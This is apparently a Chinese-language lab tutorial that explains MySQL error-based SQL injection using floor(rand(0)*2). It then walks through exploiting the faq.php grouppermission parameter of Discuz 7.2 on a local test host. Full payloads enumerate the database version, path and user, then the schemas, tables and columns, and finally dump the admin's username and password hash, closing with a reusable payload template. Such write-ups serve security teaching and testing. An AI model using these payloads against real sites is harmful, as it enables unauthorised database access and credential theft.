Floor函数注入原理:
1)报错是因为floor(rand(0)*2的不确定性,group by floor(rand(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(rand(0)*2)可能为0,也可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。
此种报错中,报错结构固定,少一个都不可以。
2)需要注意的时此种报错结果都会添加一个1,所以需要将报错出来的结果去掉一个1之后才是最终的结果。
3)可以看出需要注入的是数据库版本,正确版本是5.7.13,但是经过报错语句注入出来的是5.7.131,我们需要将最后一位的1去掉,就得到了正确的数据库版本。此处添加的1位置不是固定的,而是取决于payload 的位置。所以在去掉1时需要根据自行构造的payload的位置。:
下面看下discus7.2的注入步骤:
一、使用SQL语句进行注入攻击
1.1使用Firefox浏览器打开目标站点:192.168.1.3/dz7.2/,访问网页,可以发现dz7.2/faq.php?action=faq&id=1这样的页面, 我们可以对action这个参数进行注入攻击。如图1所示
图1
1.2 获取数据库相关信息,数据库的相关信息有主机名(@@hostname),数据库路径(@@datadir),当前数据库(database()),数据库用户(user())等等,当action=grouppermission就可以注入了。因为faq.php中的gids变量没有被初始化产生了注入漏洞,使用固定语句:
faq.php?action=grouppermission&gids[99]='&gids[100][0]=)加上我们的payload就能实现注入攻击。数据库的相关信息有主机名(@@hostname),数据库路径(@@datadir),当前数据库(database()),数据库用户(user())等等。使用concat_ws函数将所有信息全部显示出来,payload为:and (select 1 from (select count(*),concat((select (select concat_ws(0x5e,@@version,@@datadir,user(),database()))) floor(rand(0)*2))x from information_schema.tables group by x)a)%23,可以从页面报错信息中获得数据库的相关信息,数据库为版本为:5.6.17,数据库路径为C:\wamp\bin\mysql5.6.1\data\,当前用户为:root@localhost,使用的数据库为:discuz。这里注意使用floor(rand(0)*2)函数会在结果后面多加一个1,将1取出后才是正确的结果如图2所示。
图2
1.3 获取所有数据库,使用concat函数在information_schema中的schemata查询数据库名称使用payload为:(select 1 from(select count(*),concat((select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)),floor(rand(0)*2))x from information_schema.tables group by x)a)%23,如图3所示
图3
1.4获取数据库名称后获取数据库中的表,使用concat函数,在information_schema的tables表中获取表名,使用payload:(select 1 from(select count(*),concat((select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)),floor(rand(0)*2))x from information_schema.tables group by x)a)%23其中0x7e是分隔符~的HEX编码,报错信息中获得discuz中的表名名称为access,但只是数据库中的一个表,因为一次只能显示一个,使用limit函数显示回显个数,可以更改limit函数的参数获取需要的表名。如图4所示
图4
1.5获取数据表的之后,需要获取表中的字段的信息,同样使用相同结构的sql语句,通过搜索表,发现我们需要的表为cdb_menbers,构造payload为:(select 1 from(select count(*),concat((select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x6364625f6d656d62657273 LIMIT 0,1)),floor(rand(0)*2))x from information_schema.tables group by x)a)%23其中6364625f6d656d62657273是表名cdb_members的HEX编码,可以使用火狐浏览器hacbar插件对字符串进行hex编码,如图5所示:
图5
1.6 接下来使用我们的sql攻击获得回显,这样就从报错回显中获得字段的信息了,同样通过修改limit函数的参数就可以遍历整个表中的所有字段的值。如图6所示:
图6
1.7获取字段内容,确定了字段的名称后可以进入最后一步,获取字段对应的信息的值了,通过遍历字段值,发现我们需要的字段为username和password字段。构造payload为:(select 1 from (select count(*),concat(((select (select concat(username,0x27,password) from cdb_members limit 1))),floor(rand(0)*2))x from information_schema.tables group by x)a)%23对目标进行攻击:最终获得用户名为:admin以及密码为:9c6fdc559dd6bb9e107c0ebc76f6300f1的信息. 如图7所示:
.
图7
通过以上步骤,获取了该站点的管理员账号,在此案例中整体的payload为:
(select 1 from (select count(*),payload group by x)a)%23
注入漏洞利用为:
faq.php?action=grouppermission&gids[99]='&gids[100][0]=)
payload的位置放的核心语句为:
获取数据库信息:
concat((select (select concat_ws(0x5e,@@version,@@datadir,user(),database()))
获取数据库名:
concat((select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1))
获取当前数据表名:
concat((select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)),
获取指定表中的字段名:
concat((select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=表名的HEX编码 LIMIT 0,1)),
获取指定字段内容:
concat(((select (select concat(xxx) from xxx limit 1)))